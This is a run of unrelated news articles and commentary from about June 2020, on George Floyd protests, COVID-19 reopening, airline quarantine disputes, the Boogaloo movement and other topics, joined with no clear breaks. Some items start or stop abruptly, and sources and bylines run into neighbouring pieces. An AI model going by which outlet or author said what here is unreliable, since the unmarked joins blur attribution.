No one wants to admit that their sweet-faced ancestors in the sepia-toned photos profited from oppressing others. Few people are willing to speak ill of the dead. But when we fail to confront the sins of our ancestors, we not only fail to learn from their mistakes, we reject the reasons why black Americans still suffer from those crimes of the past.

Millions of years of evolution have wired humans to prefer those who are like them, a fact revealed by Charles Darwin and later proven by neuroscientists using MRI machines. When someone says they are colorblind, they are lying or delusional. We all see skin tone; the question is how we deal with this implicit bias.

How a person perceives another determines whether a police officer kneels on your neck or asks you to stand in front of the car. Perception determines whether a woman holds her purse more tightly or proffers a warm smile when you approach.

In business, how a shop owner feels about race determines whether they treat that person as a suspect or a welcomed repeat customer. For a black entrepreneur, the white banker across the desk makes or breaks a minority-owned business depending on what he or she understands about implicit bias.

TOMLINSONS TAKE: Republicans put Wall Street over Main Street in COVID-19 response

Recent protests have focused on the criminal justice system, but real cultural transformation will come only from obliterating racism in business and finance. Accumulating wealth will not end racism, but it will help African Americans use economic and political power to fight it.

All Americans can fight economic inequities simply by acknowledging implicit bias. Our government can help by expanding the earned income tax credit to help poor families build wealth and by expanding enforcement of equal opportunity laws. We also need a serious conversation on reparations for past harms.

In 1921, a misunderstanding between two teenagers set off the Tulsa Race Massacre. But white jealousy of black people gaining wealth and fear they would gain power is what flattened Greenwood.

Addressing police brutality is critical but ending economic racism and investing in African American business is what will transform the world.

Tomlinson writes commentary about business, economics and policy.

twitter.com/cltomlinson

chris.tomlinson@chron.com
WASHINGTON - Vice President Mike Pence on Friday went to a mostly black church in Maryland to hear faith leaders and community members describe, in terms both historical and personal, the racial discrimination that has led to more than a week of nationwide protests.

Bishop Harry Jackson, a Pentecostal minister who is part of President Donald Trump's group of evangelical advisers, said his own father was held at gunpoint by state troopers in 1953 when he was involved in voter rights activism in Florida. Jackson told the vice president he believes there has been an awakening to racial injustice across America in the wake of the killing in police custody last week of George Floyd, an unarmed black man from Minneapolis.

"It's clear that those images shocked the conscience of a nation," Pence responded to the group at Hope Christian Church in suburban Beltsville, where Jackson is pastor. "We have no tolerance for violence against an individual in this country or tolerance for police brutality, and no tolerance for rioting in the streets or looting and destruction of property or the claiming the innocent lives, including the lives of law enforcement."

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Derrick McCoy, who works for the evangelical organization Compassion International, said he has two sons who are close to the age of Ahmaud Arbery, an unarmed 25-year-old who was fatally shot in Georgia. He warns his sons that they cannot go everywhere, he said, and that they need to check in with him.

Nonetheless, McCoy said, he tries not to have "a lens of bitterness." He called for "criminal justice reform 2.0" and shared a message with Pence that he said he would have given to Trump if they were together: what matters is not as much what you say, as how you say it.

"America is listening, and we have to have the right tone," he said.

President Trump is followed by Vice President Mike Pence and members of the Trump administration before a news conference on Friday morning.

President Trump is followed by Vice President Mike Pence and members of the Trump administration before a news conference on Friday morning. (Kevin Lamarque/Reuters)

Pence's staff arranged the "listening session" earlier this week. Jackson, 67, a rare Trump supporter in the majority black, Democratic stronghold of Prince George's County, said he wanted to fill the sanctuary, which seats about 1,200. But due to restrictions in place to prevent the spread of the novel coronavirus, he said, Friday's meeting was small.

He and Pence grinned as they greeted each other before sitting in a circle with eight other men and one woman.

"We are here with ears to hear," Pence told Jackson as they shook hands. "We really believe this is a moment."

Pence spoke of Floyd's death as a "tragedy" that will require the nation to find "healing."

Part of the session was open to reporters, while part was private. With the cameras rolling, Damian Cooke, a substance abuse professional, told Pence he was leery of speaking because he did not want to be part of an event that was "an opportunity to garner votes or a photo op."

He said there is a division in the country - with the Black Lives Matter movement and its allies on one side, and the Trump administration and Make America Great Again supporters on the other.

"It shouldn't be that way," Cooke said. "But the thing is, we're not listening to each other."

Earl Ettienne, a professor at Howard University's College of Pharmacy called on Pence to increase funding for historically blacks colleges and universities like Howard, with the knowledge that the country did not get to this point overnight.

"We hear the expression all the time, 'pull yourselves up by the bootstraps' - many of these guys don't have boots," he said.

Pence also heard from the owners of Grubb's Pharmacy in Washington D.C., who said their stores were looted this past week.

The vice president said the Trump administration's goals include increasing economic opportunity for black Americans and expanding school choice by offering families scholarships to attend charter schools.

Jackson has spent years preaching about conservative causes, including against same-sex marriage ballot initiatives. In 2015, he said, he went through a "paradigm shift" after the shooting of unarmed teenager Michael Brown in Ferguson, Mo. He attended marches in Ferguson and attempted to gather black and white clergy for a meeting with Rev. T.D. Jakes in Dallas. Jackson said he has not been involved in the protests over Floyd's death but would consider joining in, and wants to create town hall gatherings to discuss systemic issues facing people of color.

The pastor, who has been involved in previous criminal justice reform efforts by Trump, said the administration should withhold federal funds from police forces with bad track records, reprogram how police officers do their job and educate Americans on civic engagement. He also said that some conservative leaders have minimized the deaths of black Americans at the hands of police.

"Just saying it's a small minority is not an excuse," he said. "Comparing it with deaths of people in Chicago on a weekend is not really apples to apples."

President Donald Trump holds a Bible as he visits outside St. John's Church across Lafayette Square from the White House Monday.

President Donald Trump holds a Bible as he visits outside St. John's Church across Lafayette Square from the White House Monday. (Patrick Semansky/AP)

Jackson said he would not criticize Trump on any of his recent actions or responses to the protests. When Trump staged a photo opportunity in front of St. John's Church earlier this week after federal police units forcibly cleared protesters from the area, Jackson said, that was the president's attempt to show his stance on religious liberty and a desire to keep the church safe.

"I feel like blacks feel like they've been misused by the culture, Democrat and Republican, black, white and every other group has misused them," he said. "This is a deep wound in the soul of African Americans."
Reverend Dr Apenkwa Brown, Chairman of the Local Council of Churches in Assin Central Municipality has pledged the Council's unwavering determination to purge itself of "recalcitrant" members who will defy President Nana Addo Dankwa Akufo's COVID-19 directives.



He said the Council will support government to close down all religious institutions that flout the laid down protocols on social gatherings as Churches reopen on Sunday, June 07.



Speaking in an interview with the Ghana News Agency in Assin-Fosu, he said the Council was obliged to prove its commitment by strictly adhering to laid down safety protocols and urged all Churches to adhere to the guidelines set for their reopening.



The President in a televised broadcast on Sunday, May 31, lifted the restrictions, paving the way for religious activities to commence on Friday, June 05 with the opening of Mosques and Sunday, June 07 by Churches, but with only a maximum of 100 persons in a Mosque or Church at a time.



"It is important to note that addressing COVID-19 requires the collective responsibility of both the Church and State and the Church being a major stakeholder is indispensable in the State's COVID-19 response", he noted.



Rev Dr Brown said since the closure, the government from time to time met the ecumenical bodies, made up of the Christian Council of Ghana, Ghana Catholic Bishops, Ghana Pentecostal and Charismatic Council, Ghana National Association of Charismatic and Christian Churches and other faith based organisations to deliberate on the situation.



Strategies proposed during the meetings were strict hygienic measures including; hand washing protocols, spaced sitting arrangements, wearing of facemasks to church, avoiding handshakes, and no waving of handkerchiefs at Church.



Temperatures of members were to be checked before entering church premises, while families could be made to sit together at church observing social distancing.



However, he advised that communion services, a Christian sacrament of sharing of wine and bread, should be done in such a way that would reduce hand-to-hand transmission, while offering individual cups for the communion.



The giving of offerings and tithes could be done via mobile money system or be put in a stationary bowls or baskets with wide openings.



He proposed that intensive education was carried out for the congregation by selected trained members of the church, while church services should be done in sessions to reduce the number of people that congregated at a time for worship.



Rev Dr Brown said: "These are protocols that will help our well-being and encourage everybody to embrace them".

Source: GNA









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Wife of Former Lesotho Prime Minister Back in Prison in Murder of his Ex-Wife

By Michael Brown June 04, 2020

The wife of former Lesotho Prime Minister Thomas Thabane, who was charged with killing her husband's first wife, is back in prison after a judge revoked her bail last week, pending a June 16 hearing.

Maesaiah Thabane was taken into custody Wednesday. She was initially charged in February for her alleged involvement in the 2017 shooting death of Lipolelo Thabane, just before her husband's inauguration.

Days after Lipolelo's killing, Maesaiah married Thomas Thabane.

Maesaiah's current legal challenge marks her second stint in prison. She spent hours in jail before posting bail earlier this year and traveling to South Africa to be with her husband seeking medical attention there.

Police arrested her when she returned to Lesotho. Her husband, who could also be charged in the case, told the French News Agency (AFP) he didn't kill anyone, certainly not his wife.

Lesotho is a small African country surrounded by the much larger South Africa.

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Pennsylvania officials have warned employees of expected protests at the Capitol Complex in Harrisburg on Monday and told them extra police will be on hand.

Most employees who work at the Capitol and nearby state offices are still working from home because of the pandemic. But state officials said they want to assure those who are working onsite that they will be safe.

It wasnt immediately known what group or groups are expected to protest.

A notice to employees said, While these are truly uncertain times, you can be certain that the PA Capitol Police will always carry out its mission to protect and serve all citizens and afford them their right to peacefully work, assemble and express themselves.
YEREVAN, 5 JUNE, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 5 June, USD exchange rate down by 0.37 drams to 481.74 drams. EUR exchange rate up by 6.13 drams to 546.00 drams. Russian Ruble exchange rate up by 0.04 drams to 7.01 drams. GBP exchange rate up by 4.50 drams to 608.44 drams.

The Central Bank has set the following prices for precious metals.

Gold price down by 102.38 drams to 26330.88 drams. Silver price down by 1.91 drams to 274.92 drams. Platinum price up by 114.08 drams to 12917.24 drams.
National news agency Australian Associated Press has edged closer to a rescue deal after it agreed to enter exclusive negotiations with a consortium led by former News Corp CEO Peter Tonagh.

AAP boss Bruce Davidson told staff on Friday afternoon the board had reached an agreement on commercial terms and would enter negotiations to establish a binding contract in an attempt to sell the newswire by the middle of June.

Former News Corp executive Peter Tonagh. Credit:Andrew Quilty

But a sale, should it proceed, will result in at least 100 editorial redundancies at the organisation, which currently has about 600 employees, including around 180 editorial staff. Between 70 and 75 editorial jobs will be offered by the new owners, as well as roles in management, IT and support. Under new ownership, the business will also include the fact-checking division.

"I am extremely pleased to announce that the AAP Newswire is expected to be sold to a consortium of impact investors and philanthropists," Mr Davidson said.
Scott Morrison and Josh Frydenberg offered a small answer to a big question this week when Australians saw official confirmation of the economic slump from the coronavirus crisis.

The first recession in three decades is no surprise but it has finally arrived after years of sunny Australian optimism in the country's ability to shrug off every global shock.

The government offered $25,000 to home owners who wanted to build new homes or renovate existing ones. Credit:Stocksy

Frydenberg was sensible to acknowledge on Thursday the nation was in a recession because the 0.3 per cent contraction in the March quarter would be followed by much worse. There was no point waiting for the June quarter results to confirm the obvious.

The policy response offered $25,000 to home owners who wanted to build new homes or renovate existing ones, in a package totalling $688 million. This looked like smart politics because it meant the Prime Minister and Treasurer had the new HomeBuilder assistance package to talk about on radio and television in the wake of bad economic news. If only the policy lived up to the politics.
British Airways

British Airways parent company is considering legal action against the Government in an attempt to overturn the 14-day quarantine on international arrivals to the UK.

Willie Walsh, chief executive of IAG, said he was consulting lawyers about a legal challenge to protect airlines from an irrational and disproportionate measure that would wreck the aviation industry.

Ryanair which is led by Michael OLeary, a persistent critic of the plans, said it would support any legal action launched by IAG against this ineffective quarantine.

Businessman Simon Dolan also yesterday threatened to seek a judicial review of the quarantine, because of the insurmountable damage it threatened to the aviation and travel industry.

Quarantine, which is due to begin on Monday, will require all international arrivals, including returning Britons, to self-isolate for 14 days but will be reviewed in three weeks during which the aviation industry is pressing for air bridges to be introduced.

BA is planning up to 12,000 redundancies, while Virgin Atlantic has announced more than 3,000 job cuts and Ryanair at least 3,000. EasyJet plans to axe up to 4,500 posts.

Mr Walsh said the introduction of quarantine on Monday would torpedo the opportunity for BA to get flights back in July after the collapse in passenger numbers since the outbreak of the coronavirus pandemic. BA had planned to put on a 40 per cent service in July.

He said: We think [quarantine] is irrational, we think it's disproportionate, and we are giving consideration to a legal challenge to this legislation. We're reviewing that with the lawyers later on today.

"I suspect there are other airlines who are doing so because it's important to point out there was no consultation with the industry prior to enacting this legislation.

He said such action may be necessary to ensure airlines can survive this and have a competitive business for the future as the crisis facing the industry was unprecedented.

Story continues

We are not flying. In May we had 485 passenger flights. We did that by lunchtime on May 1 last year. This is the most difficult challenge that the airline industry has ever faced, he added.

Setting out the airlines unsustainable financial position in a letter to MPs, he said it was burning through about 20 million of cash a day, and had taken on an extra 800 million of debt to bolster its finances.

His intervention came after a furious row with the Government Thursday after it boycotted an industry summit with Priti Patel to discuss her quarantine plans.

BA failed to turn up amid claims by industry sources that it believed the quarantine to be unworkable and economically damaging and the meeting a waste of time.

Downing Street said it would not comment on the proposed legal action.

But the Prime Minister's official spokesman added: "As the Home Secretary said at yesterday's meeting, we want to work with industry across the board through this pandemic - that includes BA. Obviously we're disappointed they chose not to attend the meeting."

Another Government source said on Thursday: Its a shame that BA dont want to directly make their case to the Home Secretary and the aviation minister. Clearly they are not serious about working to get Britain moving again.

Mr Dolan, who has also mounted a crowd-funded legal action against lockdown, gave the Home Office until yesterday evening to back down or face legal action.

This government should postpone the quarantine so we can appropriately consider this and flesh out a more appropriate policy like air bridges so Brits can go on holiday this summer, he said.

Priti Patel, the Home Secretary, has defended quarantine as a public health measure that is needed to prevent a second wave of coronavirus and a reintroduction of lockdown that would be even more damaging to the economy. At Thursdays meeting with 24 aviation and transport bosses, she urged them to work together with the Government to make the new public health measures work, to safeguard our recovery and allow us to move forward more quickly. Yesterday, Transport Secretary Grant Shapps refused to set a timetable for easing quarantine, saying only that he hoped it would be possible later in the year.

We all hope - let's give ourselves some hope here - that by later in the year we will have continued to do all the things we have just talked about and got on top of this virus and the signs are in the right direction," he said. He confirmed ministers were continuing to look at the concept of so-called "air corridors" - allowing travel with countries where Covid-19 transmission was low - but said there was no impending announcement to be made.

It is not just the aviation industry, however, that is opposed to quarantine. A survey of more than 120 of the travel, hotel and hospitality businesses found 71 per cent expected to lay off up to 60 per cent of their staff, while more than a quarter (28 per cent) feared they would go bust.

George Morgan-Grenville, chief executive of travel company Red Savannah, who is leading a campaign against quarantine by the 500 biggest names in tourism and hospitality, has warned there is palpable anger at the plans which threaten untold misery for thousands facing redundancy.
The police have arrested more than 750 people during the Philly protests against police brutality. Here's what you need to know if you get arrested. Read more

Since May, Philadelphia has seen widespread protests, with thousands of people taking to the streets to oppose police brutality after the killing of George Floyd, Breonna Taylor, Walter Wallace Jr. and others..

During the initial course of protests in the city, hundreds of people were arrested. President Donald Trump threatened to send federal agents to Philadelphia and other cities with Democratic mayors  a decision that follows his administrations deployment of federal agents to Portland, Ore.

In the first week of protests in late May and early June, the Philadelphia Police Department arrested more than 750 people, including an Inquirer reporter.

You have the right to protest. People should exercise that right, said the American Civil Liberties Union of Pennsylvanias deputy legal director, Mary Catherine Roper.

 READ MORE: Want to show solidarity with the protesters? Heres what the activist groups involved want you to do.

But you could still get arrested. The thing that people dont necessarily understand is, the First Amendment doesnt protect you from being arrested if you are blocking the street or engaging in property damage. There are things that are against the law, and they are still against the law if you are doing it for a protest reason.

If you are arrested at a protest, try to stay calm  you have rights. Here is what you need to know.

Plan before you go out

When heading out to a protest, Roper said, it may be wise to take some precautions.

Because your belongings will be taken from you [if you are arrested] and you wont have a phone, it might be handy to write the number of an attorney or a family member on your arm, she said. That way, you can still get in touch with important contacts if necessary.

You may also want to tell a family member or neighbor you are going  especially if you have children. As Roper said, if you are arrested, you could be held for a long period of time.

And dont forget, she added: Eat something before you go.

Do not resist

When being placed under arrest, you should not physically resist even if you think the arrest is improper or you are innocent, said civil rights attorney and University of Pennsylvania Carey Law School senior fellow David Rudovsky.

If the officer is intent on bringing you in, and it turns out to be improper, you get remedy later, he said. You cant see a judge in that moment, and the police have the power at that point.

Jules Epstein, a professor and director of advocacy programs at Temple Universitys Beasley School of Law, said defenses get raised later, after you are removed from the scene  and fighting back physically in the moment could result in additional charges. Another reason not to resist, Roper said, is your own safety.

Once an officer has laid hands on you, unless you are literally trying to defend yourself from a violent assault by covering your head, resisting only causes the officer to escalate the force being used, she said.

If arrested, you can be searched

If you are approached by police and they ask to search you, it is within your rights to not give your consent. But if you are arrested, police do not need a warrant because the search is no longer a question of consent under what is known as a search incident to arrest.

If you are arrested, Epstein said, police are allowed to do an initial search of areas like your pockets, backpack or purse, and wallet  essentially anything within grab area.

But police generally cannot search electronic equipment like cell phones or computers without your consent, and need a warrant from a judge to proceed, Rudovsky said. It is unlikely that they would get a warrant to search your phone if you were a participant in a protest, Roper said. Thats where you should just say no.

Your Miranda rights

While many people expect to be read their rights when arrested, police do not have to give the Miranda warning at the moment of arrest, Epstein said. But police do have to read you your Miranda rights, named after the 1966 U.S. Supreme Court case Miranda v. Arizona, before questioning or interrogating you.

Dont believe what you see on TV, Roper said.

But if youre under arrest and the police want to interrogate you, an officer must inform you that you have a right to remain silent, that anything you say can be used against you in a court of law, that you have a right to have an attorney present during questioning, and that a lawyer will be appointed to you if you cannot afford one. However, Rudovsky said, many protesters probably wont get to that point in their arrest.

With a demonstration arrest, it is unlikely that someone will seek to interrogate you, he said.

Remain silent

Should you find yourself being arrested, Rudovsky advises, do not say anything.

You are not going to convince the officer or detective not to charge you, he said. Nothing you say is going to prevent that arrest. You can ask, Why am I being arrested? But I wouldnt go much further than that.

Roper said that when asked, you should also give your name and address, because if you refuse, you are going to spend a lot more time with police, which is something you should try to minimize. If questioning goes further, she added, you should ask for an attorney.

I generally suggest being polite to police officers when they have you in custody, Roper said. You should pay attention and say, I am not going to answer questions without an attorney present, other than the basic booking stuff.

After you are released

When you are released from police custody, Roper recommends you find legal help to figure out how to proceed if you are facing charges. It is also wise, she said, to not go around talking with others about your case.

What if you cant afford a lawyer? Some lawyers are organizing to help represent demonstrators. There are also groups, including the Up Against the Law Legal Collective, that connect activists with attorneys who can provide free help, said Roper.

Do not talk to anybody about the circumstances that led to your arrest before talking to your criminal defense attorney, she said. Give your lawyer a chance to give advice about whether that is a good idea before you put a bunch of stuff out on Facebook.

Additionally, Epstein said, you may want to gather evidence that could support your defense, such as cell phone videos of your arrest. If you were injured, he added, you should seek medical attention and take photographs to document any injuries.

If you feel your rights have been violated, or you were subject to misconduct, you could also consider filing a complaint, said Rachel E. Lopez, an associate professor in Drexel Universitys Kline School of Law. While you should talk to a lawyer first, she said, options there include contacting the Police Advisory Commission, the Office of the District Attorneys Special Investigations Unit, the Police Departments Internal Affairs Bureau, or pursuing civil action.

You should think carefully through your options before you decide on a path, Lopez said. Try to consult a lawyer when making these decisions.
Source: Xinhua| 2020-06-05 21:06:51|Editor: huaxia

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-- The heavy-handed crackdown on nationwide protests reveals in broad daylight Washington's double standard on human rights.

-- Camera footage in the last few days repeatedly showed police officers beating protesters, ramming cars into the crowd and even spraying a nine-year-old girl with mace.

-- "It's time for the U.S. to drop the mentor's tone and look in the mirror," said Russian Foreign Ministry spokeswoman Maria Zakharova.





WASHINGTON, June 5 (Xinhua) -- At least 13 lives were lost as the United States entered the 10th day on Thursday of nationwide protests triggered by the death of George Floyd, an unarmed black man, in the custody of Minneapolis police.

Tragically while ironically, a number of those deaths during the widespread protests, in which demonstrators, young and old and of all races, cried for an end to police brutality and racial injustice, were caused by abusive use of force by the law enforcement trying to quell the demonstrations.

The heavy-handed crackdown reveals in broad daylight Washington's double standard on human rights: measures taken by so-called "foreign adversaries" to restore order in times of tumultuous unrest are in violation of basic human rights, whereas brutally treating domestic protests -- most of them peaceful -- and even causing deaths are not uncommon on U.S. soil.

Riot police officers arrest a small group of protesters at a memorial to George Floyd in Minneapolis, the United States, May 30, 2020. (Photo by Angus Alexander/Xinhua)

CIVILIAN CASUALTIES

According to a tally compiled by U.S. media, a total of 13 deaths have been reported since the protests erupted more than a week ago.

Many of the killed happened to be African Americans, compounding the agony of a racial group reeling from not only the death of Floyd, but also the deep-rooted injustice against ethnic minorities in the country for a long time.

Although details of the deaths are still under investigation -- thus not yet fully known -- some incidents were indeed related to the excessive use of force by police and troops.

Demonstrators protest over the death of George Floyd in New York, the United States, June 2, 2020. (Xinhua/Wang Ying)

In one case, police and the National Guard troops in Louisville, Kentucky, fired at protesters early Monday after they heard gunshots, killing an African American man identified the following day as David McAtee, a 53-year-old local barbecue restaurant owner.

"He left a great legend behind," McAtee's mother, Odessa Riley, told the Louisville Courier-Journal. Referred to as "a good person" by his mother, McAtee was known for offering free meals to police officers dropping by his restaurant.

Louisville Mayor Greg Fischer said Monday that officers at the scene turned off their body cameras, as a result of which Louisville Metro Police Chief Steve Conrad was fired.

From coast to coast, camera footage in the last few days repeatedly showed police officers beating protesters, ramming cars into the crowd as was the case in New York City on Saturday, and even spraying mace at a nine-year-old girl in Seattle, the state of Washington, on Sunday.

A police officer raises his gun during a protest against the death of George Floyd in Minneapolis, the United States, May 31, 2020. (Photo by Angus Alexander/Xinhua)





Even journalists reporting on scene are subject to police brutality, the very thing these protests are against.

Journalists across the nation -- more than two dozen, according to one count posted on Twitter -- faced arrest, detention, being pepper sprayed, tear-gassed or shot by rubber bullets while covering the recent demonstrations.

Among the severely injured is photojournalist Linda Tirado, who is now permanently blind in her left eye after being shot by a rubber bullet while covering the protest in Minneapolis on May 29. The rubber bullet, Tirado tweeted, "exploded my eyeball, which has now been patched back together but who knows if it'll need more surgery."

"My vision is gone no matter what," she said. "But it wasn't my photography eye so it's not career-ending ... So I'm gonna keep reporting from Minneapolis."

A demonstrator holds a placard during a protest over the death of George Floyd in front of the Trump Tower in Chicago, the United States, May 30, 2020. (Photo by Christopher Dilts/Xinhua)

EXCESSIVE USE OF FORCE

The United States has an infamous track record of boasting and exporting its so-called "universal values" around the globe, oftentimes interfering in the internal affairs of sovereign nations.

The excessive use of force in response to domestic demonstrators -- whose right to protest is protected by the U.S. Constitution -- has not only backfired at home, but also made it much harder for the country's diplomats to do their job abroad.

"Our diplomats are accustomed to expressing concern about other countries' human rights violations. Today they're being asked by foreign governments to explain our own," U.S. news outlet the Politico quoted Molly Montgomery, a former U.S. foreign service officer whose postings included Afghanistan and Bosnia-Herzegovina, as saying.

"For many diplomats who joined the Foreign Service to promote American values like democracy, the rule of law, and human rights abroad, this is a moment of great sadness and deep soul-searching," Montgomery added.

A demonstrator is arrested during a protest against the death of George Floyd in Minneapolis, the United States, May 31, 2020. (Photo by Angus Alexander/Xinhua)

A spokesperson for UN Secretary General Antonio Guterres on Monday warned against overreaction by U.S. police in dealing with the protesters.

"Grievances must be heard, but they must be expressed in peaceful ways and authorities must show restraint in responding to demonstrators," said Stephane Dujarric, the spokesperson.

In Australia, an ally of the United States, the government has asked its embassy in Washington to investigate an incident of violence against an Australian news crew by U.S. law enforcement.

Protesters rally in front of the White House during a protest over the death of George Floyd in Washington D.C., the United States, June 4, 2020. (Xinhua/Liu Jie)

Video footage circulating on social media showed that Tim Myers, a cameraman of Australia's 7NEWS, was punched by what appeared to be an officer wearing riot gear on Monday near the White House. Amelia Brace, a correspondent of the same news organization who was doing live broadcasting with Myers at the moment, said her colleague already had been hit by a rubber bullet previously.

Australian Minister for Foreign Affairs Marise Payne confirmed the formal request for a probe on Tuesday, saying she was consulting with Australian envoys in the United States "on how we would go about registering Australia's strong concerns with the responsible local authorities" in Washington.

"I think it's appropriate in an environment such as this, where an event of this nature has occurred, that we are able to seek advice to investigate the incident. That is, it's a very serious matter, and we take it in that way," Payne told Australia's ABC Radio National in an interview.

A woman raises her arms as riot police fire tear gas during a protest outside the 5th Police Precinct in Minneapolis, the United States, May 30, 2020. (Photo by Angus Alexander/Xinhua)

On Thursday, Russian Foreign Ministry spokeswoman Maria Zakharova blamed U.S. law enforcement for using non-lethal weapons to disperse protesters as well as the massive arrest, pointing in particular to the injuries caused to journalists, including those from Russia.

"It's time for the U.S. to drop the mentor's tone and look in the mirror," Zakharova said, urging Washington to "start respecting peoples' rights and observing democratic standards at home."

Demonstrators protest against police brutality on Times Square in Manhattan of New York, the United States, May 31, 2020. (Xinhua/Wang Ying)

Hong-Eng Koh, a Singaporean with nearly 30 years of policing experience, shared an edited video on Twitter, in which scenes of U.S. police recently beating and arresting protesters are paired with a soundtrack featuring praise from Republican senator Josh Hawley on Nov. 19, 2019 for the violent rioters fomenting turmoil in Hong Kong at the time.

"Whoever edited this video, this is gold!" Koh wrote. "Some politicians love to praise the Hong Kong rioters while defending their own government's action against the protesters back home. You can't have it both ways." 

(Video reporters: Hu Yousong, Tan Yixiao, Xu Jianmei, Deng Xianlai; Video editor: Peng Ying)
AMMAN (Reuters) - Syria state media said Thursday Israeli jets flying over Lebanon hit military targets in northwestern Hama province causing only material damage, in Israel's latest escalation of raids in the last few months.

Earlier state media said Syrian army air defences thwarted an unidentified missile attack on a city in northwestern Hama province, state media said on Thursday.

The news flash on state television said the missiles hit the outskirts of Misyaf city. Israel has in the last two months stepped up its strikes on suspected Iranian targets inside Syria.

Asked about the missile attack, an Israeli military spokeswoman declined comment.

Western intelligence sources said Israel had escalated raids in Syria at a time when world is distracted by the coronavirus pandemic.

Iranian-backed militias have long been entrenched near Misyaf where they have bases, part of a growing presence across government-controlled Syria, they added.

Israel has acknowledged it has conducted many raids inside Syria since the start of the civil war in 2011 where it views Iranian presence as a strategic threat.

(Reporting by Suleiman Al-Khalidi; Additional reporting by Maayan Lubell in Jerusalem)
Model Ireland Baldwin has been on the front lines of Black Lives Matters protests in Los Angeles this week.

Following a day of marching in a peaceful protest, the 24-year-old stepped out to run some errands and was spotted grabbing groceries on Thursday evening.

On the back of the black pickup truck she was riding in, Ireland affixed a handwritten poster advertising free water for activists on the ground.

Taking a break: Ireland Baldwin was spotted grabbing groceries on Thursday evening in Los Angeles following a day protesting for Black Lives Matter

The young advocate had her long hair up in a messy bun and donned a cream colored graphic T-shirt with brown drawstring slacks.

She wore a protective facemask and carried an armful of groceries back to her pickup truck which still had the 'free water' sign handing on the back window.

Earlier that day she and her boyfriend Corey Harper were spotted along with their Siberian Husky Koda handing out free snacks from the bed of their truck.

Ireland has been vocal on social media and at the protests about her support for Black Lives Matter and desire to 'defund' the police.

Supporting: In the grocery store parking lot, the back of Ireland's black pickup truck had a handwritten poster advertising free water for activists on the ground

Last week, Ireland tweeted that she was 'so ashamed to be American' and apologized to the BLM community for having to 'jump through any hoops to get justice.'

She also came to her father Alec Baldwin's defense when he was criticized for promoting his new podcast interview with controversial director Woody Allen on #BlackoutTuesday.

BlackoutTuesday was devised to disrupt the work week by stopping production and social media promotion in order to reflect and focus time and energy on promoting black artists, businesses and projects.

Baldwin took to social media with several posts about the interview and was immediately met with fury from his followers for not only his choice to sit down with Allen, who has been accused of sexual assault by his adopted daughter, but also for his 'tone-deaf' timing.

#BLM: Earlier that day she and her boyfriend Corey Harper were spotted along with their Siberian Husky Koda handing out free snacks from the bed of their truck to protestors

Ireland responded to critics in the comments: 'Although the black squares are a sign of solidarity, Im shedding light to the posts that my black activist friends are continuing to post and get out there.

'I think everyone commenting negatively is missing the whole idea here. defending my dad because I know his intentions and where his heart is at.'

The model was referring to the images of back boxes that were the viral signature of Blackout Tuesday.

Those images were ultimately seen as counterproductive by many who found them either a hollow gesture or inadvertently clogging up social media feeds, silencing black voices and messages.

Advocate: Ireland has been on the frontlines protesting with Black Lives Matter all week and also came to the defense of her dad Alec Baldwin when he was criticized for promoting his new podcast interview with controversial director Woody Allen on #BlackoutTuesday

Alec later responded to the overwhelming criticism with a lengthy Instagram video which addressed outrage over both his decision to promote Woody Allen, who has been accused of being a sexual predator, and dismissal of #BlackoutTuesday as 'this...national day of whatever'.

He called the video a 'pre-break ramble' and also declared he would 'be taking a break from social media for a time.'

However that promise was immediately broken, when the star of The Departed returned to the social media platform to post a video of flowers and some clouds.

In his nearly ten-minute long video, the quick-tempered star defended his dismissal of 'Blackout Tuesday protocols' as simply seeing voting as 'equally, if not more important' than the social media movement. He also referred to his participation in social media as 'a form of psychosis'.

However Alec's focus was on his belief in the innocence of his most recent podcast guest Woody Allen.
A new far-right movement may be stoking tensions in US protests. Who are its adherents, and what do they want?

A new movement of armed, far-right adherents is gaining attention in the United States, not just for its seemingly strange name, but for its alleged links to the violence that has taken place across the country following largely peaceful protests over police brutality.

Adherents of the loosely organised Boogaloo movement appear to believe in armed, anti-government actions that could lead to a second US civil war.

While it is impossible, authorities say, to point to a singular group for the unrest that has come as part of protests against the police killing of George Floyd, officials claim that much of the violence can be pinned on outside agitators who are seeking to distract from the main message of the demonstrations.

One movement authorities have blamed is the Boogaloo movement. On June 4, three men who allegedly belong to the Boogaloo movement were arrested in Las Vegas, Nevada, on charges related to terrorism and involving plots to accelerate violence at protests.

Whats in the name?

The Boogaloo movement, a newcomer grouping, is hard to label but exists largely on the far-right of the political spectrum, and has aims to accelerate the US towards a second civil war.

Its members, known as Boogaloo Boys or Boogaloo Bois, are typically seen with assault rifles and tactical gear. Some adherents of the movement have also been spotted in Hawaiian shirts in recent days, according to reports, though not all wear them.

There are examples of adherents claiming they want to support protesters in the face of heavily armoured police, while others appear to have connections to extremist ideology, according to reports.

The loose movement borrows its name from Breakin 2: Electric Boogaloo, a poorly-received 1980s sequel film that is regarded as nearly identical to the first.

The term Electric Boogaloo has come to be used to describe things of low quality, especially on message boards and social media. Electric Boogaloo is not commonly used in a political or violent fashion by most.





But some far-right elements use it as a code word for a second civil war, presumably as a sequel to the first. The use of the term seems to have gained prominence among some with far-right views around October 2019.

A range of boogaloo-related phrases also emerged this year, as the term became more popular, including: showing up for the boogaloo, when the boogaloo hits, being boogaloo ready and bring on the boogaloo, the Anti-Defamation League (ADL), a Jewish NGO based in the US that tracks the far-right, wrote in a report on the movement.

Big Luau is another term reportedly used by some in the movement, which has mixed with another symbol that has emerged: an igloo.

As watchdog groups and experts point out, however, not all Boogaloo adherents use these symbols.

Lockdown protests

The phrase Electric Boogaloo has also become a common platform among some individuals involved in armed protests against stay-at-home orders.

Like other movements that once largely inhabited corners of the internet, it has seized on the social unrest and economic calamity caused by the coronavirus pandemic to publicise its violent messages.

The pandemic became a catalyst for the boogaloo movement because the stay-at-home orders put a stressor on a lot of very unhappy people, JJ MacNab, a fellow at George Washington Universitys Program on Extremism, told the Associated Press news agency.

MacNab said the movements rhetoric goes beyond discussions about fighting virus restrictions  which many protesters brand as tyranny  to talking about killing FBI agents or police officers to get the war going.

An April 22 report by the Tech Transparency Project, which tracks technology companies, found 125 Facebook boogaloo-related groups that had attracted tens of thousands of members in the previous 30 days. The project pointed to the coronavirus crisis as a driving factor.

Members of the Boogaloo movement, attend a demonstration against the coronavirus lockdown in Concord, New Hampshire [Michael Dwyer/AP Photo]

Some boogaloo supporters see the public health lockdowns and other directives by states and cities across the country as a violation of their rights, and theyre aiming to harness public frustration at such measures to rally and attract new followers to their cause, the projects report said.

